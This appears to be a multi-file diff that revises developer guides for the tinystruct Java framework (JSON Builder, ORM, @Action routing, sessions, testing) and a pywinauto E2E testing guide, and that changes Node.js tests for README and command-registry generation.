By default, the framework assumes a view template is required. If `templateRequired` is `true`, `toString()` looks for a `.view` file in `src/main/resources/themes/<ClassName>.view`. Use `setVariable("name", value)` to pass data to templates, which use `{%name%}` for interpolation.
|
||||
By default, the framework assumes a view template is required. If `templateRequired` is `true`, `toString()` looks for a `.view` file in `src/main/resources/themes/<ClassName>.view`. Use `getContext()` to manage state and `setVariable("name", value)` to pass data to templates, which use `[%name%]` for interpolation.
|
||||
|
||||
## Examples
|
||||
|
||||
@@ -65,7 +55,6 @@ By default, the framework assumes a view template is required. If `templateRequi
|
||||
@Override
|
||||
public void init() {
|
||||
this.setTemplateRequired(false); // Skip .view template lookup for data-only apps
|
||||
// Do NOT call setAction() here — use @Action annotation instead
|
||||
}
|
||||
```
|
||||
|
||||
@@ -79,8 +68,6 @@ public String hello() {
|
||||
**Execution via Dispatcher:**
|
||||
```bash
|
||||
bin/dispatcher hello
|
||||
bin/dispatcher greet/James
|
||||
bin/dispatcher echo --words "Hello" --import com.example.HelloApp
|
||||
```
|
||||
|
||||
### Configuration Access
|
||||
|
||||
@@ -2,59 +2,34 @@
|
||||
|
||||
## When to Use
|
||||
|
||||
Prefer `org.tinystruct.data.component.Builder` and `Builders` for lightweight, zero-dependency JSON. Use `Builder` for JSON objects (`{}`), `Builders` for JSON arrays (`[]`). **Always use `Builders` instead of `List<Builder>`** to avoid generic type erasure issues.
|
||||
Prefer `org.tinystruct.data.component.Builder` in scenarios where you need a lightweight, high-performance JSON solution with **zero external dependencies**. It is specifically designed to keep your tinystruct applications lean and fast, making it the ideal choice for microservices and CLI tools where including heavy libraries like Jackson or Gson would be overkill.
|
||||
|
||||
## How It Works
|
||||
|
||||
`Builder` provides a key-value interface for creating and reading JSON objects. `Builders` provides an indexed list for JSON arrays. Both integrate directly with `AbstractApplication` result handling.
|
||||
|
||||
### Why Builder/Builders?
|
||||
- **Zero External Dependencies** — lean and fast
|
||||
- **Native Integration** — works with framework result handling
|
||||
- **Type Safety** — `Builders` serializes properly to `[]`; `List<Builder>` can cause casting issues
|
||||
The `Builder` class provides a simple key-value interface for both creating and reading JSON structures. It integrates directly with `AbstractApplication` result handling; when an action method returns a `Builder` object, the framework automatically serializes it to the response stream. This prevents the need for manual string conversion and ensures consistent data formatting across your application modules.
|
||||
|
||||
## Examples
|
||||
|
||||
### Serialize a Single Object
|
||||
### Serialization
|
||||
```java
|
||||
import org.tinystruct.data.component.Builder;
|
||||
|
||||
// Create and populate
|
||||
Builder response = new Builder();
|
||||
response.put("status", "success");
|
||||
response.put("count", 42);
|
||||
return response.toString(); // {"status":"success","count":42}
|
||||
response.put("data", someList);
|
||||
|
||||
return response; // {"status":"success","count":42,...}
|
||||
```
|
||||
|
||||
### Serialize a List using Builders
|
||||
### Parsing
|
||||
```java
|
||||
import org.tinystruct.data.component.Builder;
|
||||
import org.tinystruct.data.component.Builders;
|
||||
|
||||
Builders dataList = new Builders();
|
||||
for (MyModel item : myCollection) {
|
||||
Builder b = new Builder();
|
||||
b.put("id", item.getId());
|
||||
b.put("name", item.getName());
|
||||
dataList.add(b);
|
||||
}
|
||||
Builder response = new Builder();
|
||||
response.put("data", dataList);
|
||||
return response.toString(); // {"data":[{"id":1,"name":"X"}]}
|
||||
```
|
||||
|
||||
### Parse a JSON Object
|
||||
```java
|
||||
// Parse a JSON string
|
||||
Builder parsed = new Builder();
|
||||
parsed.parse(jsonString);
|
||||
|
||||
String status = parsed.get("status").toString();
|
||||
```
|
||||
|
||||
### Parse a JSON Array
|
||||
```java
|
||||
Builders parsedArray = new Builders();
|
||||
parsedArray.parse(jsonArrayString);
|
||||
for (int i = 0; i < parsedArray.size(); i++) {
|
||||
Builder item = parsedArray.get(i);
|
||||
System.out.println(item.get("name"));
|
||||
}
|
||||
```
|
||||
|
||||
@@ -1,99 +0,0 @@
|
||||
# tinystruct Database Persistence
|
||||
|
||||
## When to Use
|
||||
|
||||
Use the built-in ORM-like data layer for database operations. It provides a lightweight alternative to JPA/Hibernate using POJOs extending `AbstractData` and XML mapping files.
|
||||
|
||||
## How It Works
|
||||
|
||||
### Architecture
|
||||
|
||||
Each table is represented by:
|
||||
1. **Java POJO**: Extends `AbstractData`, provides getters/setters and `setData(Row)`.
|
||||
2. **Mapping XML**: `ClassName.map.xml` in resources, binding Java fields to DB columns.
|
||||
|
||||
#### Key Base Class: `AbstractData`
|
||||
Provides CRUD methods:
|
||||
- `append()` / `appendAndGetId()`
|
||||
- `update()`
|
||||
- `delete()`
|
||||
- `findAll()` / `findOneById()` / `findOneByKey(key, value)`
|
||||
- `findWith(where, params)`
|
||||
- `find(SQL, params)`
|
||||
|
||||
### POJO Generation (CLI)
|
||||
|
||||
Introspect a live database table to produce the POJO and mapping file.
|
||||
|
||||
#### Configuration
|
||||
`application.properties`:
|
||||
```properties
|
||||
driver=com.mysql.cj.jdbc.Driver
|
||||
database.url=jdbc:mysql://localhost:3306/mydb
|
||||
database.user=root
|
||||
database.password=secret
|
||||
```
|
||||
|
||||
#### Command
|
||||
```bash
|
||||
# Interactive mode
|
||||
bin/dispatcher generate
|
||||
|
||||
# Specify table
|
||||
bin/dispatcher generate --tables users
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
### CRUD Operations
|
||||
```java
|
||||
// CREATE
|
||||
User user = new User();
|
||||
user.setUsername("james");
|
||||
user.append();
|
||||
|
||||
// READ
|
||||
User user = new User();
|
||||
user.setId(42);
|
||||
user.findOneById();
|
||||
|
||||
// UPDATE
|
||||
user.setEmail("new@example.com");
|
||||
user.update();
|
||||
|
||||
// DELETE
|
||||
user.delete();
|
||||
```
|
||||
|
||||
### Querying with Conditions
|
||||
```java
|
||||
User user = new User();
|
||||
Table results = user.findWith("username LIKE ?", new Object[]{"%jam%"});
|
||||
|
||||
// Fluent Condition Builder
|
||||
Condition condition = new Condition();
|
||||
condition.setRequestFields("id,username");
|
||||
Table filtered = user.find(
|
||||
condition.select("`users`").and("email LIKE ?").orderBy("id DESC"),
|
||||
new Object[]{"%@example.com"}
|
||||
);
|
||||
```
|
||||
|
||||
### Mapping XML Structure
|
||||
`User.map.xml`:
|
||||
```xml
|
||||
<mapping>
|
||||
<class name="User" table="users">
|
||||
<id name="Id" column="id" increment="true" generate="false" length="11" type="int"/>
|
||||
<property name="username" column="username" length="50" type="varchar"/>
|
||||
<property name="email" column="email" length="100" type="varchar"/>
|
||||
</class>
|
||||
</mapping>
|
||||
```
|
||||
|
||||
## Important Rules
|
||||
|
||||
1. **File Placement**: The mapping XML **must** mirror the POJO's package path under `src/main/resources/`.
|
||||
2. **Naming**: Table names are singularized for class names (`users` → `User`). Underscored columns become camelCase fields (`created_at` → `createdAt`).
|
||||
3. **Setters**: Use `setFieldAsXxx` methods (e.g., `setFieldAsString`) in setters to sync state with the internal field map.
|
||||
4. **Id Field**: The primary key field in Java is always named `Id` (inherited from `AbstractData`).
|
||||
@@ -2,17 +2,13 @@
|
||||
|
||||
## When to Use
|
||||
|
||||
Use the `@Action` annotation in your applications to define routes for both CLI commands and HTTP endpoints. It is appropriate whenever you need to map logic to a specific path, handle parameterized requests, or restrict execution to specific HTTP methods while maintaining a consistent command structure across environments.
|
||||
Use the `@Action` annotation in your applications to define routes for both CLI commands and HTTP endpoints. It is appropriate whenever you need to map logic to a specific path, handle parameterized requests (e.g., retrieving a resource by ID), or restrict execution to specific HTTP methods (GET, POST, etc.) while maintaining a consistent command structure across environments.
|
||||
|
||||
## How It Works
|
||||
|
||||
The `ActionRegistry` parses `@Action` annotations to build a routing table. For parameterized methods, the framework automatically maps Java parameter types to corresponding regex segments.
|
||||
The `ActionRegistry` parses `@Action` annotations to build a routing table. For parameterized methods, the framework automatically maps Java parameter types (int, String, etc.) to corresponding regex segments to generate an internal matching pattern. For instance, `getUser(int id)` generates a regex targeting digits, while `search(String query)` targets generic path segments.
|
||||
|
||||
### Regex Generation Rules
|
||||
- `getUser(int id)` → pattern: `^/?user/(-?\d+)$`
|
||||
- `search(String query)` → pattern: `^/?search/([^/]+)$`
|
||||
|
||||
Supported parameter types: `String`, `int/Integer`, `long/Long`, `float/Float`, `double/Double`, `boolean/Boolean`, `char/Character`, `short/Short`, `byte/Byte`, `Date` (parsed as `yyyy-MM-dd HH:mm:ss`).
|
||||
When a request is dispatched, the `ActionRegistry` automatically injects dependencies like `Request` and `Response` into the action method if they are specified as parameters, drawing them directly from the current request's `Context`. Execution is further filtered by the `Mode` value, allowing a single path to invoke different logic depending on whether the trigger was a terminal command or a specific type of HTTP request.
|
||||
|
||||
### Mode Values
|
||||
|
||||
@@ -26,8 +22,6 @@ Supported parameter types: `String`, `int/Integer`, `long/Long`, `float/Float`,
|
||||
| `HTTP_DELETE` | HTTP DELETE only |
|
||||
| `HTTP_PATCH` | HTTP PATCH only |
|
||||
|
||||
> **Note:** You can map HTTP method names to `Mode` using `Action.Mode.fromName(String methodName)`. Unknown or null values return `Mode.DEFAULT`.
|
||||
|
||||
## Examples
|
||||
|
||||
### Basic Action Declaration
|
||||
@@ -35,30 +29,29 @@ Supported parameter types: `String`, `int/Integer`, `long/Long`, `float/Float`,
|
||||
@Action(
|
||||
value = "path/subpath", // required: URI segment or CLI command
|
||||
description = "What it does", // shown in --help output
|
||||
mode = Mode.DEFAULT, // default: Mode.DEFAULT
|
||||
example = "bin/dispatcher path/subpath/42"
|
||||
mode = Mode.HTTP_POST, // default: Mode.DEFAULT (both CLI + HTTP)
|
||||
options = {}, // CLI option flags
|
||||
example = "curl -X POST http://localhost:8080/path/subpath/42"
|
||||
)
|
||||
public String myAction(int id) { ... }
|
||||
```
|
||||
|
||||
### Parameterized Paths
|
||||
### Parameterized Paths (Regex Generation)
|
||||
```java
|
||||
@Action("user/{id}")
|
||||
public String getUser(int id) { ... }
|
||||
// → CLI: bin/dispatcher user/42
|
||||
// → HTTP: /?q=user/42
|
||||
// → pattern: ^/?user/(-?\d+)$
|
||||
|
||||
@Action("search")
|
||||
public String search(String query) { ... }
|
||||
// → pattern: ^/?search/([^/]+)$
|
||||
```
|
||||
|
||||
### Dependency Injection
|
||||
`ActionRegistry` automatically injects `Request` and/or `Response` from `Context` if they are parameters:
|
||||
|
||||
### Request and Response Injection
|
||||
```java
|
||||
@Action(value = "upload", mode = Mode.HTTP_POST)
|
||||
public String upload(Request<?, ?> req, Response<?, ?> res) throws ApplicationException {
|
||||
// Access raw request/response if needed
|
||||
// req.getParameter("file"), res.setHeader(...), etc.
|
||||
return "ok";
|
||||
}
|
||||
```
|
||||
|
||||
### Path Matching Priority
|
||||
If two methods share the same path, the framework uses the first match in the `ActionRegistry`. Use explicit `Mode` values to disambiguate (e.g., separating a GET for a form and a POST for submission).
|
||||
|
||||
@@ -2,26 +2,13 @@
|
||||
|
||||
## When to Use
|
||||
|
||||
Use these patterns to handle request state, manage web sessions, implement Server-Sent Events (SSE), handle file uploads, or perform outbound HTTP networking.
|
||||
Use the system and usage patterns described here when you need to handle stateful interactions across CLI and HTTP modes, manage user sessions in web applications, or implement loosely coupled communication between application modules using an event-driven architecture.
|
||||
|
||||
## How It Works
|
||||
|
||||
### Context and CLI Arguments
|
||||
`Context` is the primary data store for request-specific state. CLI flags passed as `--key value` are stored in `Context` as `"--key"`.
|
||||
The framework's `Context` serves as the primary data store for request-specific state. In CLI mode, flags passed as `--key value` are automatically parsed and stored in the `Context` with the `--` prefix, allowing action methods to retrieve command parameters easily. For web applications, the system provides standard session management via the `Request` object, enabling the storage of user data across multiple HTTP requests.
|
||||
|
||||
### Session Management
|
||||
Pluggable architecture. Default is `MemorySessionRepository`. Configure Redis in `application.properties`:
|
||||
```properties
|
||||
default.session.repository=org.tinystruct.http.RedisSessionRepository
|
||||
redis.host=127.0.0.1
|
||||
redis.port=6379
|
||||
```
|
||||
|
||||
### Server-Sent Events (SSE)
|
||||
Built-in support for real-time push. The `HttpServer` automatically handles the SSE lifecycle when it detects the `Accept: text/event-stream` header. Connections are tracked by session ID in `SSEPushManager`.
|
||||
|
||||
### Outbound Networking
|
||||
Use `URLRequest` and `HTTPHandler` for making HTTP requests to external services.
|
||||
The internal `EventDispatcher` facilitates an asynchronous event bus. By defining custom `Event` classes and registering handlers (typically within an application's `init()` method), you can trigger background tasks—such as sending emails or logging audit trails—without blocking the main execution path.
|
||||
|
||||
## Examples
|
||||
|
||||
@@ -36,62 +23,52 @@ public String echo() {
|
||||
}
|
||||
```
|
||||
|
||||
### Session Management
|
||||
### Session Management (Web Mode)
|
||||
```java
|
||||
@Action(value = "login", mode = Mode.HTTP_POST)
|
||||
public String login(Request<?, ?> request) {
|
||||
public String login(Request request) {
|
||||
request.getSession().setAttribute("userId", "42");
|
||||
return "Logged in";
|
||||
}
|
||||
```
|
||||
|
||||
### Server-Sent Events (SSE)
|
||||
```java
|
||||
@Action("sse/connect")
|
||||
public String connect() {
|
||||
return "{\"type\":\"connect\",\"message\":\"Connected\"}";
|
||||
}
|
||||
|
||||
// In another method or event handler:
|
||||
String sessionId = getContext().getId();
|
||||
SSEPushManager.getInstance().push(sessionId, new Builder().put("msg", "hello"));
|
||||
```
|
||||
|
||||
### File Uploads
|
||||
```java
|
||||
import org.tinystruct.data.FileEntity;
|
||||
|
||||
@Action(value = "upload", mode = Mode.HTTP_POST)
|
||||
public String upload(Request<?, ?> request) throws ApplicationException {
|
||||
List<FileEntity> files = request.getAttachments();
|
||||
if (files != null) {
|
||||
for (FileEntity file : files) {
|
||||
// file.getFilename(), file.getContent()
|
||||
}
|
||||
}
|
||||
return "Uploaded";
|
||||
}
|
||||
```
|
||||
|
||||
### Outbound HTTP
|
||||
```java
|
||||
import org.tinystruct.net.URLRequest;
|
||||
import org.tinystruct.net.handlers.HTTPHandler;
|
||||
|
||||
URLRequest request = new URLRequest(new URL("https://api.example.com"));
|
||||
request.setMethod("POST").setBody("{\"data\":\"val\"}");
|
||||
|
||||
HTTPHandler handler = new HTTPHandler();
|
||||
var response = handler.handleRequest(request);
|
||||
if (response.getStatusCode() == 200) {
|
||||
String body = response.getBody();
|
||||
@Action("profile")
|
||||
public String profile(Request request) {
|
||||
Object userId = request.getSession().getAttribute("userId");
|
||||
if (userId == null) return "Not logged in";
|
||||
return "User: " + userId;
|
||||
}
|
||||
```
|
||||
|
||||
### Event System
|
||||
Register handlers in `init()` for asynchronous task execution.
|
||||
```java
|
||||
EventDispatcher.getInstance().registerHandler(MyEvent.class, event -> {
|
||||
CompletableFuture.runAsync(() -> doHeavyWork(event.getPayload()));
|
||||
// 1. Define an event
|
||||
public class OrderCreatedEvent implements org.tinystruct.system.Event<Order> {
|
||||
private final Order order;
|
||||
public OrderCreatedEvent(Order order) { this.order = order; }
|
||||
|
||||
@Override public String getName() { return "order_created"; }
|
||||
@Override public Order getPayload() { return order; }
|
||||
}
|
||||
|
||||
// 2. Register a handler
|
||||
EventDispatcher.getInstance().registerHandler(OrderCreatedEvent.class, event -> {
|
||||
CompletableFuture.runAsync(() -> sendConfirmationEmail(event.getPayload()));
|
||||
});
|
||||
|
||||
// 3. Dispatch
|
||||
EventDispatcher.getInstance().dispatch(new OrderCreatedEvent(newOrder));
|
||||
```
|
||||
|
||||
### Running the Application
|
||||
```bash
|
||||
# CLI mode
|
||||
bin/dispatcher hello
|
||||
bin/dispatcher echo --words "Hello" --import com.example.HelloApp
|
||||
|
||||
# HTTP server (listens on :8080 by default)
|
||||
bin/dispatcher start --import org.tinystruct.system.HttpServer
|
||||
|
||||
# Database utilities
|
||||
bin/dispatcher generate --table users
|
||||
bin/dispatcher sql-query "SELECT * FROM users"
|
||||
```
|
||||
|
||||
@@ -2,71 +2,58 @@
|
||||
|
||||
## When to Use
|
||||
|
||||
Use these patterns when writing unit tests for your applications with **JUnit 5**. Essential for verifying action logic, routing registration, and HTTP mode behavior.
|
||||
Use the testing patterns described here when writing units tests for your tinystruct applications with **JUnit 5**. These patterns are essential for verifying that your `@Action` methods return the correct results and that your routing logic is properly registered within the singleton `ActionRegistry`.
|
||||
|
||||
## How It Works
|
||||
|
||||
### Unit Testing Applications
|
||||
ActionRegistry is a singleton. To test an application:
|
||||
1. Instantiate the application.
|
||||
2. Provide a `Settings` object (triggers `init()` and annotation processing).
|
||||
3. Use `app.invoke(path, args)` to test logic directly.
|
||||
Testing tinystruct applications requires a specific setup to ensure framework-level features like annotation processing and configuration management are active. By creating a new instance of your application and passing it a `Settings` object in the `setUp()` method, you trigger the `init()` lifecycle. This ensures all `@Action` methods are discovered and registered.
|
||||
|
||||
### HTTP Integration Testing
|
||||
For tests involving the built-in HTTP server:
|
||||
1. Start `HttpServer` in a background thread.
|
||||
2. Use `ApplicationManager.call("start", context, Action.Mode.CLI)` to boot.
|
||||
3. Wait for the port to be open using a `Socket`.
|
||||
4. Use `URLRequest` and `HTTPHandler` to perform actual requests.
|
||||
Because the `ActionRegistry` is a singleton, it is critical to maintain isolation between tests by properly initializing your application state before each test execution, preventing side effects from leaking across the test suite.
|
||||
|
||||
## Examples
|
||||
|
||||
### Unit Test
|
||||
### Unit Testing an Application
|
||||
```java
|
||||
import org.junit.jupiter.api.*;
|
||||
import org.tinystruct.application.ActionRegistry;
|
||||
import org.tinystruct.system.Settings;
|
||||
|
||||
class MyAppTest {
|
||||
|
||||
private MyApp app;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
app = new MyApp();
|
||||
app.setConfiguration(new Settings());
|
||||
app.init(); // triggers @Action annotation processing and registers all actions
|
||||
Settings config = new Settings();
|
||||
app.setConfiguration(config);
|
||||
app.init(); // triggers @Action annotation processing
|
||||
}
|
||||
|
||||
@Test
|
||||
void testHello() throws Exception {
|
||||
// Direct invocation via the application object
|
||||
Object result = app.invoke("hello");
|
||||
Assertions.assertEquals("Hello!", result);
|
||||
Assertions.assertEquals("Hello, tinystruct!", result);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGreet() throws Exception {
|
||||
// Invocation with arguments
|
||||
Object result = app.invoke("greet", new Object[]{"James"});
|
||||
Assertions.assertEquals("Hello, James!", result);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### ActionRegistry Match Testing
|
||||
### Testing via ActionRegistry
|
||||
If you need to test the routing logic itself, use the `ActionRegistry` singleton to verify path matching:
|
||||
|
||||
```java
|
||||
@Test
|
||||
void testRouting() {
|
||||
ActionRegistry registry = ActionRegistry.getInstance();
|
||||
// Verify a path matches an action
|
||||
Action action = registry.getAction("greet/James");
|
||||
Assertions.assertNotNull(action);
|
||||
}
|
||||
```
|
||||
|
||||
### HTTP Integration Pattern
|
||||
Reference: `src/test/java/org/tinystruct/system/HttpServerHttpModeTest.java`
|
||||
|
||||
```java
|
||||
// Pattern:
|
||||
// 1. Start server in thread
|
||||
// 2. Poll for port availability
|
||||
// 3. Send HTTP request via HTTPHandler
|
||||
// 4. Assert response body/status
|
||||
```
|
||||
Reference: `src/test/java/org/tinystruct/application/ActionRegistryTest.java`
|
||||
|
||||
@@ -366,65 +366,6 @@ def stop_recording(proc):
|
||||
proc.stdin.write(b"q"); proc.stdin.flush(); proc.wait(timeout=10)
|
||||
```
|
||||
|
||||
## Per-Step Trace (opt-in)
|
||||
|
||||
The default failure screenshot is often too thin for diagnosing flaky tests. The step-level trace below is **off by default** — enable it only when reproducing a flaky case.
|
||||
|
||||
### Enable
|
||||
|
||||
```bash
|
||||
E2E_TRACE=1 pytest tests/test_login.py -v
|
||||
# Include typed text in the JSONL log (DO NOT use on tests that type credentials/PII):
|
||||
E2E_TRACE=1 E2E_TRACE_INCLUDE_TEXT=1 pytest ...
|
||||
```
|
||||
|
||||
### Patch into BasePage
|
||||
|
||||
```python
|
||||
import os, json, time
|
||||
TRACE_ENABLED = os.environ.get("E2E_TRACE") == "1"
|
||||
TRACE_INCLUDE_TEXT = os.environ.get("E2E_TRACE_INCLUDE_TEXT") == "1"
|
||||
|
||||
class BasePage:
|
||||
_step = 0
|
||||
|
||||
def _trace(self, action, spec=None, text=None):
|
||||
if not TRACE_ENABLED:
|
||||
return
|
||||
BasePage._step += 1
|
||||
idx = f"{BasePage._step:03d}"
|
||||
os.makedirs(ARTIFACT_DIR, exist_ok=True)
|
||||
try:
|
||||
self.window.capture_as_image().save(
|
||||
os.path.join(ARTIFACT_DIR, f"step_{idx}_{action}.png"))
|
||||
except Exception:
|
||||
pass # capture failure must not break the test
|
||||
rec = {
|
||||
"ts": time.time(), "step": BasePage._step, "action": action,
|
||||
"locator": getattr(spec, "criteria", None),
|
||||
"text": text if TRACE_INCLUDE_TEXT else ("<redacted>" if text else None),
|
||||
}
|
||||
with open(os.path.join(ARTIFACT_DIR, "trace.jsonl"), "a") as f:
|
||||
f.write(json.dumps(rec) + "\n")
|
||||
|
||||
def click(self, spec):
|
||||
self.wait_visible(spec); self._trace("click_before", spec)
|
||||
spec.click_input(); self._trace("click_after", spec)
|
||||
|
||||
def type_text(self, spec, text):
|
||||
self.wait_visible(spec); self._trace("type_before", spec, text)
|
||||
# ... existing set_edit_text / keyboard fallback ...
|
||||
self._trace("type_after", spec)
|
||||
```
|
||||
|
||||
### Caveats
|
||||
|
||||
- **PII / credentials**: `type_text` content is `<redacted>` by default. Never set `E2E_TRACE_INCLUDE_TEXT=1` on login or payment flows.
|
||||
- **Overhead**: ~50–200ms per action + one PNG per step on disk. Don't enable on the default CI matrix — only on a dedicated flake-repro job.
|
||||
- **Artifact bloat**: a long flow produces tens of MB; tune `retention-days` accordingly.
|
||||
- **Parallel/rerun hygiene**: this simple example appends to `trace.jsonl` and uses a class-level counter. Clear the artifact directory before reruns, and use per-worker artifact dirs for parallel tests.
|
||||
- **Coverage gap**: actions performed outside `BasePage` (raw `pywinauto` calls in test code) are not traced.
|
||||
|
||||
## Flaky Test Handling
|
||||
|
||||
```python
|
||||
@@ -446,8 +387,6 @@ Common causes and fixes:
|
||||
| Animation in progress | `wait_until(lambda: not loading_indicator.exists())` |
|
||||
| Dialog timing | `wait_window(title, timeout=15)` |
|
||||
| CI display not ready | Set `DISPLAY` or use virtual desktop in CI |
|
||||
| `set_edit_text` raises NotImplementedError | UIA ValuePattern missing (common on Qt 5.x) — `BasePage.type_text` already falls back to `keyboard.send_keys` |
|
||||
| Control exists but `wait_visible` times out | Window minimised or off-screen — call `win.restore()` + `win.set_focus()` before waiting |
|
||||
|
||||
## Test Isolation & Sandbox
|
||||
|
||||
@@ -780,44 +719,6 @@ def click_image(template_path, confidence=0.85):
|
||||
pyautogui.click(*pos)
|
||||
```
|
||||
|
||||
### DPI / Scaling Rules (screenshot mode only)
|
||||
|
||||
Screenshot matching is brutally sensitive to Windows display scaling (100% / 125% / 150%). Three hard rules:
|
||||
|
||||
1. **Capture templates at the same scale as the target machine.** Don't try to rescue a mismatch with `PIL.Image.resize` — `cv2.matchTemplate` is very fragile against resampling artefacts.
|
||||
2. **Pin the CI display scaling.** On `windows-latest` add a step like `Set-DisplayResolution 1920 1080 -Force` and disable per-monitor DPI scaling, so screenshot dimensions are reproducible.
|
||||
3. **Record the scale alongside each artefact.** On capture, write `GetDpiForWindow(hwnd) / 96` to `artifacts/<test>/metadata.json` — postmortems become obvious instead of guess-work.
|
||||
|
||||
> Process-level DPI awareness (`SetProcessDpiAwarenessContext`) **can conflict with Qt's own DPI handling** when the app under test is Qt-based. Prefer "same-scale templates + CI pin" over flipping process-wide DPI mode in fixtures.
|
||||
|
||||
### Debugging Match Confidence
|
||||
|
||||
When tuning the `confidence` threshold, the only sane workflow is to **see** where the match landed. The helper below is diagnosis-only — do not call it from test code.
|
||||
|
||||
```python
|
||||
def debug_match(template_path, out="artifacts/match_debug.png", confidence=0.85):
|
||||
"""Diagnosis-only. Draw the best-match rectangle + score back on the current screen.
|
||||
|
||||
NOT for production tests — use when calibrating confidence or chasing false matches.
|
||||
"""
|
||||
import os, cv2, pyautogui, numpy as np
|
||||
screen = np.array(pyautogui.screenshot())[:, :, ::-1]
|
||||
tpl = cv2.imread(template_path)
|
||||
if tpl is None:
|
||||
raise RuntimeError(f"Template unreadable: {template_path}")
|
||||
res = cv2.matchTemplate(screen, tpl, cv2.TM_CCOEFF_NORMED)
|
||||
_, mv, _, ml = cv2.minMaxLoc(res)
|
||||
h, w = tpl.shape[:2]
|
||||
colour = (0, 255, 0) if mv >= confidence else (0, 0, 255) # green pass / red fail
|
||||
cv2.rectangle(screen, ml, (ml[0]+w, ml[1]+h), colour, 2)
|
||||
cv2.putText(screen, f"score={mv:.3f} thr={confidence}",
|
||||
(ml[0], max(20, ml[1]-6)),
|
||||
cv2.FONT_HERSHEY_SIMPLEX, 0.7, colour, 2)
|
||||
os.makedirs(os.path.dirname(out) or ".", exist_ok=True)
|
||||
cv2.imwrite(out, screen)
|
||||
return mv
|
||||
```
|
||||
|
||||
**Use sparingly** — image matching breaks on DPI changes, theme switches, and partial occlusion.
|
||||
Always try UIA first; fall back to screenshots only for genuinely unreachable controls.
|
||||
|
||||
|
||||
@@ -44,7 +44,6 @@ function writeEnglishReadme(root, counts, options = {}) {
|
||||
const unrelatedSkillsCount = options.unrelatedSkillsCount || 16;
|
||||
|
||||
fs.writeFileSync(path.join(root, 'README.md'), `Access to ${counts.agents} agents, ${counts.skills} skills, and ${counts.commands} commands.
|
||||
- **Public surface synced to the live repo** - metadata, catalog counts, plugin manifests, and install-facing docs now match the actual OSS surface: ${counts.agents} agents, ${counts.skills} skills, and ${counts.commands} legacy command shims.
|
||||
|-- agents/ # ${counts.agents} specialized subagents for delegation
|
||||
| Feature | Claude Code | Cursor IDE | Codex CLI | OpenCode |
|
||||
| --- | --- | --- | --- | --- |
|
||||
@@ -222,7 +221,6 @@ function runTests() {
|
||||
.join('\n');
|
||||
|
||||
assert.ok(formatted.includes('README.md quick-start summary'));
|
||||
assert.ok(formatted.includes('README.md rc.1 release-note summary'));
|
||||
assert.ok(formatted.includes('README.md project tree'));
|
||||
assert.ok(formatted.includes('AGENTS.md summary'));
|
||||
assert.ok(formatted.includes('.claude-plugin/plugin.json description'));
|
||||
@@ -257,7 +255,6 @@ function runTests() {
|
||||
const marketplaceJson = fs.readFileSync(path.join(testDir, '.claude-plugin', 'marketplace.json'), 'utf8');
|
||||
|
||||
assert.ok(readme.includes('Access to 1 agents, 1 skills, and 1 legacy command shims'));
|
||||
assert.ok(readme.includes('actual OSS surface: 1 agents, 1 skills, and 1 legacy command shims'));
|
||||
assert.ok(readme.includes('|-- agents/ # 1 specialized subagents for delegation'));
|
||||
assert.ok(readme.includes('| Skills | 42 | .agents/skills/ |'));
|
||||
assert.ok(agentsDoc.includes('providing 1 specialized agents, 1+ skills, 1 commands'));
|
||||
|
||||
@@ -1,176 +0,0 @@
|
||||
/**
|
||||
* Direct coverage for scripts/ci/generate-command-registry.js.
|
||||
*/
|
||||
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
|
||||
const {
|
||||
checkRegistry,
|
||||
formatRegistry,
|
||||
generateRegistry,
|
||||
parseArgs,
|
||||
run,
|
||||
writeRegistry,
|
||||
} = require('../../scripts/ci/generate-command-registry');
|
||||
|
||||
function createTestDir() {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-command-registry-'));
|
||||
}
|
||||
|
||||
function cleanupTestDir(testDir) {
|
||||
fs.rmSync(testDir, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
function writeFixture(root) {
|
||||
fs.mkdirSync(path.join(root, 'commands'), { recursive: true });
|
||||
fs.mkdirSync(path.join(root, 'agents'), { recursive: true });
|
||||
fs.mkdirSync(path.join(root, 'skills', 'tdd-workflow'), { recursive: true });
|
||||
fs.mkdirSync(path.join(root, 'skills', 'security-review'), { recursive: true });
|
||||
|
||||
fs.writeFileSync(path.join(root, 'agents', 'code-reviewer.md'), '---\nmodel: sonnet\ntools: Read\n---\n');
|
||||
fs.writeFileSync(path.join(root, 'agents', 'test-writer.md'), '---\nmodel: sonnet\ntools: Read\n---\n');
|
||||
fs.writeFileSync(path.join(root, 'skills', 'tdd-workflow', 'SKILL.md'), '# TDD workflow\n');
|
||||
fs.writeFileSync(path.join(root, 'skills', 'security-review', 'SKILL.md'), '# Security review\n');
|
||||
|
||||
fs.writeFileSync(path.join(root, 'commands', 'review.md'), `---
|
||||
description: Review changes
|
||||
---
|
||||
# Review
|
||||
|
||||
Use @code-reviewer and skill: security-review.
|
||||
`);
|
||||
|
||||
fs.writeFileSync(path.join(root, 'commands', 'tdd.md'), `---
|
||||
description: "Write tests first"
|
||||
---
|
||||
# TDD
|
||||
|
||||
Call subagent_type: test-writer and skills/tdd-workflow/SKILL.md.
|
||||
`);
|
||||
}
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` PASS ${name}`);
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.log(` FAIL ${name}`);
|
||||
console.log(` Error: ${error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function runTests() {
|
||||
console.log('\n=== Testing command registry generation ===\n');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
if (test('generates deterministic command metadata and usage statistics', () => {
|
||||
const testDir = createTestDir();
|
||||
try {
|
||||
writeFixture(testDir);
|
||||
|
||||
const registry = generateRegistry({ root: testDir });
|
||||
|
||||
assert.strictEqual(registry.schemaVersion, 1);
|
||||
assert.strictEqual(registry.totalCommands, 2);
|
||||
assert.deepStrictEqual(
|
||||
registry.commands.map(command => command.command),
|
||||
['review', 'tdd']
|
||||
);
|
||||
assert.deepStrictEqual(registry.commands[0].allAgents, ['code-reviewer']);
|
||||
assert.deepStrictEqual(registry.commands[0].skills, ['security-review']);
|
||||
assert.deepStrictEqual(registry.commands[1].allAgents, ['test-writer']);
